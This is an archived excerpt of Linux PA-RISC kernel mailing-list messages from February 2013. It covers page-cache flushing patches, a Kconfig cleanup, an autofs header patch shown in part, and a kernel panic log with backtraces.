	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <dave.anglin@bell.net>; Mon, 04 Feb 2013 18:57:54 +0100
User-Agent: KMail/4.10 rc3 (Linux/3.7.3-19-desktop; KDE/4.9.98; x86_64; ; )
In-Reply-To: <510FEBBD.9000207@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4797
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4797>


--nextPart6979563.VHPCXQA3fD
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

John David Anglin wrote:
> On 2/4/2013 11:37 AM, Helge Deller wrote:
> >>> Von: Rolf Eike Beer <eike-kernel@sf-tec.de>
> >>> 
> >>> Helge Deller wrote:
> >>>> This is the first patch in a series of 4, with which the page cache
> >>>> flushing of
> >>>> parisc will gets fixed and enhanced. This even fixes the nasty
> >>>> "minifail" bug
> >>>> (http://wiki.parisc-linux.org/TestCases?highlight=%28minifail%29)
> >>>> which
> >>>> prevented parisc to stay an official debian port.  Basically the
> >>>> flush in
> >>>> copy_user_page together with the TLB patch from commit
> >>>> 7139bc1579901b53db7e898789e916ee2fb52d78 is what fixes the minifail
> >>>> bug.
> >>> 
> >>> Is this series expected to fix the thread related problems I see in the
> >>> git testsuite?
> >> 
> >> I expect so, if not, please let us know!
> > 
> > Ahem... actually:
> > MAYBE!!!
> > 
> > The problem is, that you probably will need an updated glibc (and maybe
> > compiler) as well. Dave has done a lot of work to fix stuff. We have
> > copied the most important update-packages to ftp.parisc-linux.org. To
> > update, just make sure the following lines are in your
> > /etc/apt/source.list file: deb ftp://ftp.de.debian.org/debian-ports
> > unstable main
> > deb ftp://ftp.parisc-linux.org/debian-ports/unstable unstable main
> > deb-src ftp://ftp.de.debian.org/debian unstable main
> > 
> > Do *not* just update to the packages of debian-ports.org. If you do that
> > it will render your system unbootable, since the udev-package is broken
> > and it will not find your discs at startup.
> > 
> > It's on my todo-list to upload further packages, update the website on how
> > to update your system, and of course to get a buildd working...
> Just a note, these packages are for debian systems.  I believe that Eike is
> running gentoo.  With respect to glibc, Carlos had a set of changes which I
> submitted to Debian.  The full set was accepted around the -30 unstable
> release.
> I think most of these are in gentoo but the matter needs review.

Oh Dave, I wanted to write a mail with "apt-get: no such command" or something 
;) I have tested your patchset you sent on 2012-12-31 and it fixed my git 
issues. So it simply boils down to: is everything from that patchset now in 
Helge's tree?

Eike
--nextPart6979563.VHPCXQA3fD
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlEP9qEACgkQXKSJPmm5/E7gEACgh7iMz3l22ZCvkhmlco8B0zk/
YPgAn29c9fJV2rWvd01gGuyX7qNX7KVd
=VDRx
-----END PGP SIGNATURE-----

--nextPart6979563.VHPCXQA3fD--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH RESEND 1/1] arch Kconfig: remove references to
 IRQ_PER_CPU
Date: Mon, 04 Feb 2013 10:30:17 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <1360002617.2465.33.camel@dabdike>
References: <1359972583-17134-1-git-send-email-james.hogan@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1360002628 14240 80.91.229.3 (4 Feb 2013 18:30:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 18:30:28 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>,
	Mike Frysinger <vapier@gentoo.org>,
	Fenghua Yu <fenghua.yu@intel.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Paul Mundt <lethal@linux-sh.org>
To: James Hogan <james.hogan@imgtec.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 19:30:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2QoT-00010l-8e
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 19:30:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753230Ab3BDSaW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 13:30:22 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36203 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753467Ab3BDSaU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 13:30:20 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DFCF68EE0E2;
	Mon,  4 Feb 2013 10:30:19 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CncHN6wDpoxw; Mon,  4 Feb 2013 10:30:19 -0800 (PST)
Original-Received: from [172.25.2.120] (66-59-47-3.static-ip.telepacific.net [66.59.47.3])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4F0CE8EE0E0;
	Mon,  4 Feb 2013 10:30:18 -0800 (PST)
In-Reply-To: <1359972583-17134-1-git-send-email-james.hogan@imgtec.com>
X-Mailer: Evolution 3.6.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4798 gmane.linux.kernel:1435419 gmane.linux.hardware.blackfin.kernel.devel:6901 gmane.linux.ports.hexagon:486 gmane.linux.ports.ia64:23014 gmane.linux.ports.mips.general:36821 gmane.linux.ports.ppc64.devel:87615 gmane.linux.ports.sh.devel:19127 gmane.linux.kernel.cross-arch:16840
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4798>

On Mon, 2013-02-04 at 10:09 +0000, James Hogan wrote:
> The IRQ_PER_CPU Kconfig symbol was removed in the following commit:
> 
> Commit 6a58fb3bad099076f36f0f30f44507bc3275cdb6 ("genirq: Remove
> CONFIG_IRQ_PER_CPU") merged in v2.6.39-rc1.
> 
> But IRQ_PER_CPU wasn't removed from any of the architecture Kconfig
> files where it was defined or selected. It's completely unused so remove
> the remaining references.
> 
> Signed-off-by: James Hogan <james.hogan@imgtec.com>
> Cc: Thomas Gleixner <tglx@linutronix.de>
> Cc: Mike Frysinger <vapier@gentoo.org>
> Cc: Fenghua Yu <fenghua.yu@intel.com>
> Cc: Ralf Baechle <ralf@linux-mips.org>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
> Cc: Paul Mackerras <paulus@samba.org>
> Cc: Paul Mundt <lethal@linux-sh.org>
> Acked-by: Tony Luck <tony.luck@intel.com>
> Acked-by: Richard Kuo <rkuo@codeaurora.org>

For what it's worth ACK, but I don't really think you need it since the
patch is trivial and obviously correct.

> 
> Does anybody want to pick this patch up?

I see Thomas already has.  Thanks, by the way, for not doing this as one
patch per architecture ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Mon, 04 Feb 2013 13:36:22 -0500
Lines: 62
Approved: news@gmane.org
Message-ID: <510FFFA6.3010100@bell.net>
References: <20130203225909.GA14573@p100.box> <20130204163743.248510@gmx.net> <510FEBBD.9000207@bell.net> <1486683.rMoLpHzbnF@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1360002961 17181 80.91.229.3 (4 Feb 2013 18:36:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 18:36:01 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	James.Bottomley@hansenpartnership.com
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 19:36:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2Qtv-0003ph-5U
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 19:36:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754278Ab3BDSf5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 13:35:57 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:53160 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753687Ab3BDSf5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 13:35:57 -0500
Original-Received: from 174-138-221-160.cpe.distributel.net ([174.138.221.160] helo=[192.168.0.181])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1U2QtW-0000FO-1Y; Mon, 04 Feb 2013 13:35:54 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130107 Thunderbird/17.0.2
In-Reply-To: <1486683.rMoLpHzbnF@eto>
X-Authenticated: danglin-lux@magma.ca - 174-138-221-160.cpe.distributel.net ([192.168.0.181]) [174.138.221.160]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4799
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4799>

On 2/4/2013 12:57 PM, Rolf Eike Beer wrote:
> John David Anglin wrote:
>> On 2/4/2013 11:37 AM, Helge Deller wrote:
>>>>> Von: Rolf Eike Beer <eike-kernel@sf-tec.de>
>>>>>
>>>>> Helge Deller wrote:
>>>>>> This is the first patch in a series of 4, with which the page cache
>>>>>> flushing of
>>>>>> parisc will gets fixed and enhanced. This even fixes the nasty
>>>>>> "minifail" bug
>>>>>> (http://wiki.parisc-linux.org/TestCases?highlight=%28minifail%29)
>>>>>> which
>>>>>> prevented parisc to stay an official debian port.  Basically the
>>>>>> flush in
>>>>>> copy_user_page together with the TLB patch from commit
>>>>>> 7139bc1579901b53db7e898789e916ee2fb52d78 is what fixes the minifail
>>>>>> bug.
>>>>> Is this series expected to fix the thread related problems I see in the
>>>>> git testsuite?
>>>> I expect so, if not, please let us know!
>>> Ahem... actually:
>>> MAYBE!!!
>>>
>>> The problem is, that you probably will need an updated glibc (and maybe
>>> compiler) as well. Dave has done a lot of work to fix stuff. We have
>>> copied the most important update-packages to ftp.parisc-linux.org. To
>>> update, just make sure the following lines are in your
>>> /etc/apt/source.list file: deb ftp://ftp.de.debian.org/debian-ports
>>> unstable main
>>> deb ftp://ftp.parisc-linux.org/debian-ports/unstable unstable main
>>> deb-src ftp://ftp.de.debian.org/debian unstable main
>>>
>>> Do *not* just update to the packages of debian-ports.org. If you do that
>>> it will render your system unbootable, since the udev-package is broken
>>> and it will not find your discs at startup.
>>>
>>> It's on my todo-list to upload further packages, update the website on how
>>> to update your system, and of course to get a buildd working...
>> Just a note, these packages are for debian systems.  I believe that Eike is
>> running gentoo.  With respect to glibc, Carlos had a set of changes which I
>> submitted to Debian.  The full set was accepted around the -30 unstable
>> release.
>> I think most of these are in gentoo but the matter needs review.
> Oh Dave, I wanted to write a mail with "apt-get: no such command" or something
> ;) I have tested your patchset you sent on 2012-12-31 and it fixed my git
> issues. So it simply boils down to: is everything from that patchset now in
> Helge's tree?
Mostly.  I believe there is still some stuff for entry.S and syscall.S 
that's not in the tree but I haven't
checked.  All the cache related changes are mow in Helge's tree plus 
some other changes.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: [PATCH] unbreak automounter support on 64-bit kernel with 32-bit
 userspace (v2)
Date: Mon, 4 Feb 2013 20:39:52 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <20130204193952.GA5785@p100.box>
References: <510AE21D.2090002@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1360006815 22644 80.91.229.3 (4 Feb 2013 19:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 19:40:15 +0000 (UTC)
To: "H. Peter Anvin" <hpa@zytor.com>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Ian Kent <raven@themaw.net>, autofs@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 20:40:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2Ru1-0005z3-LC
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 20:40:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754833Ab3BDTkF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 14:40:05 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:57729 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755056Ab3BDTkE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 14:40:04 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.4]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0M5Jbd-1UtBCo3VhH-00zWeu for
 <linux-parisc@vger.kernel.org>; Mon, 04 Feb 2013 20:40:01 +0100
Original-Received: (qmail invoked by alias); 04 Feb 2013 19:39:56 -0000
Original-Received: from p54AD1202.dip0.t-ipconnect.de (EHLO p100.box) [84.173.18.2]
  by mail.gmx.net (mp004) with SMTP; 04 Feb 2013 20:39:56 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19pKNNI20Bp3NGAVm1+YKWuUvKpSHVh9WGOlUS62z
	uWRIqgR83njfJT
Content-Disposition: inline
In-Reply-To: <510AE21D.2090002@zytor.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4800 gmane.linux.kernel:1435464 gmane.linux.kernel.autofs:6475
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4800>

automount-support is broken on the parisc architecture, because the existing
#if list does not include a check for defined(__hppa__). The HPPA (parisc)
architecture is similiar to other 64bit Linux targets where we have to define
autofs_wqt_t (which is passed back and forth to user space) as int type which
has a size of 32bit across 32 and 64bit kernels.

During the discussion on the mailing list, H. Peter Anvin suggested to invert
the #if list since only specific platforms (specifically those who do not have
a 32bit userspace, like IA64 and Alpha) should have autofs_wqt_t as unsigned
long type.

This suggestion is probably the best way to go, since Arm64 (and maybe others?)
seems to have a non-working automounter. So in the long run even for other new
upcoming architectures this inverted check seem to be the best solution, since
it will not require them to change this #if again (unless they are 64bit only).

Signed-off-by: Helge Deller <deller@gmx.de>
CC: James Bottomley <James.Bottomley@HansenPartnership.com>
CC: Catalin Marinas <catalin.marinas@arm.com>
CC: Rolf Eike Beer <eike-kernel@sf-tec.de>
CC: H. Peter Anvin <hpa@zytor.com>
CC: Ian Kent <raven@themaw.net>


diff --git a/include/uapi/linux/auto_fs.h b/include/uapi/linux/auto_fs.h
index 77cdba9..bb991df 100644
--- a/include/uapi/linux/auto_fs.h
+++ b/include/uapi/linux/auto_fs.h
@@ -28,25 +28,16 @@
 #define AUTOFS_MIN_PROTO_VERSION	AUTOFS_PROTO_VERSION
 
 /*
- * Architectures where both 32- and 64-bit binaries can be executed
- * on 64-bit kernels need this.  This keeps the structure format
- * uniform, and makes sure the wait_queue_token isn't too big to be
- * passed back down to the kernel.
- *
- * This assumes that on these architectures:
- * mode     32 bit    64 bit
- * -------------------------
- * int      32 bit    32 bit
- * long     32 bit    64 bit
- *
- * If so, 32-bit user-space code should be backwards compatible.
+ * The wait_queue_token (autofs_wqt_t) is part of a structure which is passed
+ * back to the kernel via ioctl from userspace. On architectures where 32- and
+ * 64-bit userspace binaries can be executed it's important that the size of
+ * autofs_wqt_t stays constant between 32- and 64-bit Linux kernels so that we
+ * do not break the binary ABI interface by changing the structure size.
  */

From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel panic
Date: Mon, 04 Feb 2013 20:52:22 +0100
Lines: 120
Approved: news@gmane.org
Message-ID: <51101176.1020704@gmx.de>
References: <510F87A6.1060002@sap.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1360007548 30246 80.91.229.3 (4 Feb 2013 19:52:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 19:52:28 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 20:52:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2S5t-0004po-21
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 20:52:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754001Ab3BDTw0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 14:52:26 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:63608 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753311Ab3BDTwZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 14:52:25 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.12]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MT5po-1UUbqL2SOs-00S6xM for
 <linux-parisc@vger.kernel.org>; Mon, 04 Feb 2013 20:52:23 +0100
Original-Received: (qmail invoked by alias); 04 Feb 2013 19:52:23 -0000
Original-Received: from p54AD1202.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.18.2]
  by mail.gmx.net (mp012) with SMTP; 04 Feb 2013 20:52:23 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19OCzUjAuVOy+5eZlLFDytbHiN27xIJ6NqVNkotoZ
	XCDqZnjfuNaI5K
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <510F87A6.1060002@sap.com>
X-Enigmail-Version: 1.5
X-Forwarded-Message-Id: <510F87A6.1060002@sap.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4801>

I found this kernel panic on one of my machines.
Seems to be signal-related...
Helge

[98879.332000] WARNING: at mm/mmap.c:2657
[98879.380000] Modules linked in:
[98879.416000]
[98879.432000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[98879.488000] PSW: 00001000000001000000000100001111 Not tainted
[98879.560000] r00-03  000000000804010f 0000000040a9a1f0 000000004013fcfc 0000000000000000
[98879.656000] r04-07  0000000040a3f1f0 00000000bd90b300 00000000000001be 00000000acf68770
[98879.752000] r08-11  0000000000100000 0000000000000001 0000000000020000 0000000000180000
[98879.848000] r12-15  000000000d800000 0000000040a9b1f0 0000000000800100 0000000000040004
[98879.944000] r16-19  0000000040a9b9f0 0000000040a571f0 0000000040a571f0 0000000040889500
[98880.040000] r20-23  000000000007002f 000000000800000e 000000000800000f 00000000401fdb70
[98880.136000] r24-27  ffffffffffffffe0 fffffffffffffe42 00000000409a9000 0000000040a3f1f0
[98880.232000] r28-31  0000000000000001 00000000acf68800 00000000acf687a0 0000000001f32000
[98880.328000] sr00-03  0000000003fec800 0000000000000000 0000000000000000 0000000003fc3800
[98880.424000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[98880.520000]
[98880.540000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040200118 000000004020011c
[98880.640000]  IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
[98880.720000]  CPU:        0   CR30: 00000000acf68000 CR31: 00000000ffffffff
[98880.804000]  ORIG_R28: 0000000000000000
[98880.852000]  IAOQ[0]: exit_mmap+0x240/0x268
[98880.900000]  IAOQ[1]: exit_mmap+0x244/0x268
[98880.952000]  RP(r2): mmput+0x10c/0x258
[98880.996000] Backtrace:
[98881.024000]  [<000000004013fcfc>] mmput+0x10c/0x258
[98881.084000]  [<000000004014b9d0>] do_exit+0x680/0xef0
[98881.144000]  [<000000004014c550>] do_group_exit+0xc0/0x128
[98881.212000]  [<000000004015c9ec>] get_signal_to_deliver+0x794/0x7f8
[98881.284000]  [<0000000040124af0>] do_signal+0x68/0xc08
[98881.348000]  [<00000000401256bc>] do_notify_resume+0x2c/0xd0
[98881.416000]  [<00000000401050b8>] intr_check_sig+0x34/0x38
[98881.480000]
[98881.500000] ---[ end trace 0f7f718b0b117609 ]---
[98881.556000] BUG: Bad rss-counter state mm:00000000bd90b300 idx:0 val:20
[98881.636000] BUG: Bad rss-counter state mm:00000000bd90b300 idx:1 val:5
[98884.412000] BUG: Bad page state in process xxxmake  pfn:6cd9c
[98884.412000] page:00000000425e1a20 count:-1 mapcount:0 mapping:          (null) index:0x0
[98884.412000] page flags: 0x0()
[98884.412000] Modules linked in:
[98884.412000] Backtrace:
[98884.412000]  [<000000004011ba04>] dump_stack+0x24/0x30
[98884.412000]  [<00000000401ce9ac>] bad_page+0x1cc/0x250
[98884.412000]  [<00000000401cf0ec>] get_page_from_freelist+0x58c/0x7e8
[98884.412000]  [<00000000401d0460>] __alloc_pages_nodemask+0x198/0xaa8
[98884.412000]  [<000000004060c02c>] __netdev_alloc_frag+0xc4/0x270
[98884.412000]  [<000000004061289c>] __netdev_alloc_skb+0x74/0x178
[98884.412000]  [<00000000405cb01c>] tulip_interrupt+0x4c4/0x18b0
[98885.164000]
[98885.164000] Disabling lock debugging due to kernel taint
[101813.652000] Backtrace:
[101813.684000]  [<00000000404534f0>] __down_read_trylock+0x40/0xb0
[101813.756000]  [<00000000401765ec>] down_read_trylock+0x24/0x30
[101813.824000]  [<0000000040206a5c>] page_lock_anon_vma_read+0x6c/0x258
[101813.904000]  [<0000000040207054>] page_referenced+0x134/0x3f0
[101813.972000]  [<00000000401db818>] shrink_active_list+0x400/0x5d8
[101814.044000]  [<00000000401dd834>] shrink_lruvec+0x5e4/0x718
[101814.112000]  [<00000000401de934>] kswapd+0x894/0xcf0
[101814.172000]  [<000000004016f758>] kthread+0x168/0x190
[101814.236000]  [<0000000040104020>] end_fault_vector+0x20/0xc0
[101814.304000]  [<00000000401b1828>] handle_irq_event_percpu+0x300/0x360
[101814.384000]  [<00000000401b6ddc>] handle_percpu_irq+0xd4/0xe8
[101814.452000]  [<000000004014ee8c>] irq_exit+0x8c/0x98
[101814.512000]  [<000000004060df14>] skb_free_head+0x64/0x98
[101814.580000]  [<000000004060e0e8>] skb_release_data+0x1a0/0x1b8
[101814.648000]  [<000000004060e26c>] __kfree_skb+0x16c/0x180
[101814.716000]  [<0000000040678158>] tcp_data_queue+0x8e8/0xf80
[101814.784000]
[101814.804000]
[101814.820000] Kernel Fault: Code=26 regs=00000000bf4cc9b0 (Addr=000000000000000c)
[101814.908000]
[101814.928000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[101814.988000] PSW: 00001000000001001111100100001110 Tainted: G    B   W
[101815.068000] r00-03  000000ff0804f90e 0000000040a2a710 00000000404534f0 0000000000000008
[101815.164000] r04-07  0000000040a3f1f0 00000000bd6cf2d9 000000000000000c 0000000042200f20
[101815.260000] r08-11  00000000bf4cc618 0000000000000000 00000000bf4cc288 ffffffffffffffe0
[101815.360000] r12-15  0000000000000015 00000000408fac80 0000000040a9a9f0 0000000000000001
[101815.456000] r16-19  0000000040a9a1f0 0000000042200f40 0000000042200f20 0000000000000001
[101815.552000] r20-23  00000000bf4cc608 0000000000000000 0000000000000000 00000000bf4cc618
[101815.648000] r24-27  0000000000000000 0000000000000000 000000000000000c 0000000040a3f1f0
[101815.744000] r28-31  000000000800000f 00000000bf4cc980 00000000bf4cc9b0 00000000bd6cf2d8
[101815.844000] sr00-03  00000000072bd000 000000000009d800 0000000000000000 00000000072bd000
[101815.940000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[101816.040000]
[101816.056000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040117670 0000000040117674
[101816.160000]  IIR: 0f4015df    ISR: 0000000000000000  IOR: 000000000000000c
[101816.244000]  CPU:        1   CR30: 00000000bf4cc000 CR31: 00000000ffffffff
[101816.324000]  ORIG_R28: 0000000040a3f1f0
[101816.372000]  IAOQ[0]: _raw_spin_lock_irqsave+0x28/0x38
[101816.436000]  IAOQ[1]: _raw_spin_lock_irqsave+0x2c/0x38
[101816.496000]  RP(r2): __down_read_trylock+0x40/0xb0
[101816.556000] Backtrace: 
[101816.584000]  [<00000000404534f0>] __down_read_trylock+0x40/0xb0
[101816.656000]  [<00000000401765ec>] down_read_trylock+0x24/0x30
[101816.728000]  [<0000000040206a5c>] page_lock_anon_vma_read+0x6c/0x258
[101816.804000]  [<0000000040207054>] page_referenced+0x134/0x3f0
[101816.876000]  [<00000000401db818>] shrink_active_list+0x400/0x5d8
[101816.948000]  [<00000000401dd834>] shrink_lruvec+0x5e4/0x718
